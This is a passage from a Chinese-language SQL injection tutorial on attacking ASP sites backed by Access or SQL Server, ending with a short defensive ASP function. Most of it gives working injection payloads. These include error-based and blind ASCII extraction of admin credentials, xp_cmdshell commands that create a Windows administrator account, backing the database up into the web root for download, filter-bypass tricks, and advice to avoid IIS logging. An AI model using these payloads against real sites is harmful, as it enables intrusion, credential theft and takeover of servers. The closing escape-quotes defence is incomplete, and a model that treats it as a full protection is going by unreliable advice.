這句語句很簡單,但卻包含了SQLServer特有注入方法的精髓,我自己也是在一次無意的測試中發現這種效率極高的猜解方法。讓我看來看看它的含義:首先,前面的語句是正常的,重點在and user>0,我們知道,user是SQLServer的一個內置變數,它的值是當前連接的用戶名,類型為nvarchar。拿一個 nvarchar的值跟int的數0比較,系統會先試圖將nvarchar的值轉成int型,當然,轉的過程中肯定會出錯,SQLServer的出錯提示是:將nvarch

ar值 」abc」 轉換數據類型為 int 的列時發生語法錯誤,呵呵,abc正是變數user的值,這樣,不廢吹灰之力就拿到了資料庫的用戶名。在以後的篇幅里,大家會看到很多用這種方法的語句。

順便說幾句,眾所周知,SQLServer的用戶sa是個等同Adminstrators許可權的角色,拿到了sa許可權,幾乎肯定可以拿到主機的 Administrator了。上面的方法可以很方便的測試出是否是用sa登錄,要注意的是:如果是sa登錄,提示是將」dbo」轉換成int的列發生錯誤,而不是」sa」。

如果伺服器IIS不允許返回錯誤提示,那怎麼判斷資料庫類型呢?我們可以從Access和SQLServer和區別入手,Access和 SQLServer都有自己的系統表,比如存放資料庫中所有對象的表,Access是在系統表[msysobjects]中,但在Web環境下讀該表會提示「沒有許可權」,SQLServer是在表[sysobjects]中,在Web環境下可正常讀取。

在確認可以注入的情況下,使用下面的語句:

http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from sysobjects)>0

http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from msysobjects)>0

如果資料庫是SQLServer,那麼第一個網址的頁面與原頁面http://www.mytest.com/showdetail.asp?id= 49是大致相同的;而第二個網址,由於找不到表msysobjects,會提示出錯,就算程序有容錯處理,頁面也與原頁面完全不同。

如果資料庫用的是Access,那麼情況就有所不同,第一個網址的頁面與原頁面完全不同;第二個網址,則視乎資料庫設置是否允許讀該系統表,一般來說是不允許的,所以與原網址也是完全不同。大多數情況下,用第一個網址就可以得知系統所用的資料庫類型,第二個網址只作為開啟IIS錯誤提示時的驗證。

進階篇

在入門篇,我們學會了SQL注入的判斷方法,但真正要拿到網站的保密內容,是遠遠不夠的。接下來,我們就繼續學習如何從資料庫中獲取想要獲得的內容,首先,我們先看看SQL注入的一般步驟:

第一節、SQL注入的一般步驟

首先,判斷環境,尋找注入點,判斷資料庫類型,這在入門篇已經講過了。

其次,根據注入參數類型,在腦海中重構SQL語句的原貌,按參數類型主要分為下面三種:

(A) ID=49 這類注入的參

數是數字型,SQL語句原貌大致如下:

Select * from 表名 where 欄位=49

注入的參數為ID=49 And [查詢條件],即是生成語句:

Select * from 表名 where 欄位=49 And [查詢條件]

(B) Class=連續劇 這類注入的參數是字元型,SQL語句原貌大致概如下:

Select * from 表名 where 欄位=』連續劇』

注入的參數為Class=連續劇』 and [查詢條件] and 『』=』 ,即是生成語句:

Select * from 表名 where 欄位=』連續劇』 and [查詢條件] and 『』=』』

&; 搜索時沒過濾參數的,如keyword=關鍵字,SQL語句原貌大致如下:

Select * from 表名 where 欄位like 』%關鍵字%』

注入的參數為keyword=』 and [查詢條件] and 『%25』=』, 即是生成語句:

Select * from 表名 where欄位like 』%』 and [查詢條件] and 『%』=』%』

接著,將查詢條件替換成SQL語句,猜解表名,例如:

ID=49 And (Select Count(*) from Admin)>=0

如果頁面就與ID=49的相同,說明附加條件成立,即表Admin存在,反之,即不存在(請牢記這種方法)。如此循環,直至猜到表名為止。

表名猜出來後,將Count(*)替換成Count(欄位名),用同樣的原理猜解欄位名。

有人會說:這里有一些偶然的成分,如果表名起得很復雜沒規律的,那根本就沒得玩下去了。說得很對,這世界根本就不存在100%成功的黑客技術,蒼蠅不叮無縫的蛋,無論多技術多高深的黑客,都是因為別人的程序寫得不嚴密或使用者保密意識不夠,才有得下手。

有點跑題了,話說回來,對於SQLServer的庫,還是有辦法讓程序告訴我們表名及欄位名的,我們在高級篇中會做介紹。

最後,在表名和列名猜解成功後,再使用SQL語句,得出欄位的值,下面介紹一種最常用的方法-Ascii逐字解碼法,雖然這種方法速度很慢,但肯定是可行的方法。

我們舉個例子,已知表Admin中存在username欄位,首先,我們取第一條記錄,測試長度:

http://www.mytest.com/showdetail.asp?id=49 ;and (select top 1 len(username) from Admin)>0

先說明原理:如果top 1的username長度大於0,則條件成立;接著就是>1、>2、>3這樣測試下去,一直到條件不成立為止,比如>7成立,>8不成立,就是len(username)=8

當然沒人會笨得從0,1,2,3一個個測試,怎麼樣才比較快就看各自發揮了。在得到username的長度後,用mid(username,N,1)截取第N位字元,再asc(mid(username,N,1))得到ASCII碼,比如:

id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0

同樣也是用逐步縮小范圍的方法得到第1位字元的ASCII碼,注意的是英文和數字的ASCII碼在1-128之間,可以用折半法加速猜解,如果寫成程序測試,效率會有極大的提高。

第二節、SQL注入常用函數

有SQL語言基礎的人,在SQL注入的時候成功率比不熟悉的人高很多。我們有必要提高一下自己的SQL水平,特別是一些常用的函數及命令。

Access:asc(字元) SQLServer:unicode(字元)

作用:返回某字元的ASCII碼

Access:chr(數字) SQLServer:nchar(數字)

作用:與asc相反,根據ASCII碼返回字元

Access:mid(字元串,N,L) SQLServer:substring(字元串,N,L)

作用:返回字元串從N個字元起長度為L的子字元串,即N到N+L之間的字元串

Access:abc(數字) SQLServer:abc (數字)

作用:返回數字的絕對值(在猜解漢字的時候會用到)

Access:A between B And C SQLServer:A between B And C

作用:

判斷A是否界於B與C之間

第三節、中文處理方法

在注入中碰到中文字元是常有的事,有些人一碰到中文字元就想打退堂鼓了。其實只要對中文的編碼有所了解,「中文恐懼症」很快可以克服。

先說一點常識:

Access中,中文的ASCII碼可能會出現負數,取出該負數後用abs()取絕對值,漢字字元不變。

SQL Server中,中文的ASCII為正數,但由於是UNICODE的雙位編碼,不能用函數ascii()取得ASCII碼,必須用函數unicode ()返回unicode值,再用nchar函數取得對應的中文字元。

了解了上面的兩點後,是不是覺得中文猜解其實也跟英文差不多呢?除了使用的函數要注意、猜解范圍大一點外,方法是沒什麼兩樣的。

高級篇

看完入門篇和進階篇後,稍加練習,破解一般的網站是沒問題了。但如果碰到表名列名猜不到,或程序作者過濾了一些特殊字元,怎麼提高注入的成功率?怎麼樣提高猜解效率?請大家接著往下看高級篇。

第一節、利用系統表注入SQLServer資料庫

SQL Server是一個功能強大的資料庫系統,與操作系統也有緊密的聯系,這給開發者帶來了很大的方便,但另一方面,也為注入者提供了一個跳板,我們先來看看幾個具體的例子



① http://Site/url.asp?id=1;exec master..xp_cmdshell 「net user name password /add」--

分號;在SQLServer中表示隔開前後兩句語句,--表示後面的語句為注釋,所以,這句語句在SQLServer中將被分成兩句執行,先是Select出ID=1的記錄,然後執行存儲過程xp_cmdshell,這個存儲過程用於調用系統命令,於是,用net命令新建了用戶名為name、密碼為password的windows的帳號,接著:

② http://Site/url.asp?id=1;exec master..xp_cmdshell 「net localgroup name administrators /add」--

將新建的帳號name加入管理員組,不用兩分鍾,你已經拿到了系統最高許可權!當然,這種方法只適用於用sa連接資料庫的情況,否則,是沒有許可權調用xp_cmdshell的。

③ http://Site/url.asp?id=1 ;and db_name()>0

前面有個類似的例子and user>0,作用是獲取連接用戶名,db_name()是另一個系統變數,返回的是連接的資料庫名。

④ http://Site/url.asp?id=1;backup database 資料庫名 to disk=』c:\inetpub\wwwroot\1.db』;--

這是相當狠的一招,從③拿到的資料庫名,加上某些IIS出錯暴露出的絕對路徑,將資料庫備份到Web目錄下面,再用HTTP把整個資料庫就完完整整的下載回來,所有的管理員及用戶密碼都一覽無遺!在不知道絕對路徑的時候,還可以備份到網路地址的方法(如\202.96.xx.xx\Share \1.db),但成功率不高。

⑤ http://Site/url.asp?id=1 ;and (Select Top 1 name from sysobjects where xtype=』U』 and status>0)>0

前面說過,sysobjects是SQLServer的系統表,存儲著所有的表名、視圖、約束及其它對象,xtype=』U』 and status>0,表示用戶建立的表名,上面的語句將第一個表名取出,與0比較大小,讓報錯信息把表名暴露出來。第二、第三個表名怎麼獲取?還是留給我們聰明的讀者思考吧。

⑥ http://Site/url.asp?id=1 ;and (Select Top 1 col_name(object_id(『表名』),1) from sysobjects)>0

從⑤拿到表名後,用object_id(『表名』)獲取表名對應的內部ID,col_name(表名ID,1)代表該表的第1個欄位名,將1換成2,3,4...就可以逐個獲取所猜解表裡面的欄位名。

以上6點是我研究SQLServer注入半年多以來的心血結晶,可以看出,對SQLServer的了解程度,直接影響著成功率及猜解速度。在我研究SQLServer注入之後,我在開發方面的水平也得到很大的提高,呵呵,也許安全與開發本來就是相輔相成的吧。

第二節、繞過程序限制繼續注入

在入門篇提到,有很多人喜歡用』號測試注入漏洞,所以也有很多人用過濾』號的方法來「防止」注入漏洞,這也許能擋住一些入門者的攻擊,但對SQL注入比較熟悉的人,還是可以利用相關的函數,達到繞過程序限制的目的。

在「SQL注入的一般步驟」一節中,我所用的語句,都是經過我優化,讓其不包含有單引號的;在「利用系統表注入SQLServer資料庫」中,有些語句包含有』號,我們舉個例子來看

看怎麼改造這些語句:

簡單的如where xtype=』U』,字元U對應的ASCII碼是85,所以可以用where xtype=char(85)代替;如果字元是中文的,比如where name=』用戶』,可以用where name=nchar(29992)+nchar(25143)代替。

第三節、經驗小結

1.有些人會過濾Select、Update、Delete這些關鍵字,但偏偏忘記區分大小寫,所以大家可以用selecT這樣嘗試一下。

2.在猜不到欄位名時,不妨看看網站上的登錄表單,一般為了方便起見,欄位名都與表單的輸入框取相同的名字。

3.特別注意:地址欄的+號傳入程序後解釋為空格,%2B解釋為+號,%25解釋為%號,具體可以參考URLEncode的相關介紹。

4.用Get方法注入時,IIS會記錄你所有的提交字元串,對Post方法做則不記錄,所以能用Post的網址盡量不用Get。

5. 猜解Access時只能用Ascii逐字解碼法,SQLServer也可以用這種方法,只需要兩者之間的區別即可,但是如果能用SQLServer的報錯信息把值暴露出來,那效率和准確率會有極大的提高。

防範方法

SQL注入漏洞可謂是「千里之堤,潰於蟻穴」,這種漏洞在網上極為普遍,通常是由於程序員對注入不了解,或者程序過濾不嚴格,或者某個參數忘記檢查導致。在這里,我給大家一個函數,代替ASP中的Request函數,可以對一切的SQL注入Say NO,函數如下:

Function SafeRequest(ParaName,ParaType)
'--- 傳入參數 ---
'ParaName:參數名稱-字元型
'ParaType:參數類型-數字型(1表示以上參數是數字,0表示以上參數為字元)

Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If not isNumeric(ParaValue) then
Response.write "參數" & ParaName & "必須為數字型!"
Response.end
End if
Else
ParaValue=replace(ParaValue,"'","''")
End if
SafeRequest=ParaValue
End function

文章到這里就結束了,不管你是安全人員、技術愛好者還是程序員,我都希望本文能對你有所幫助。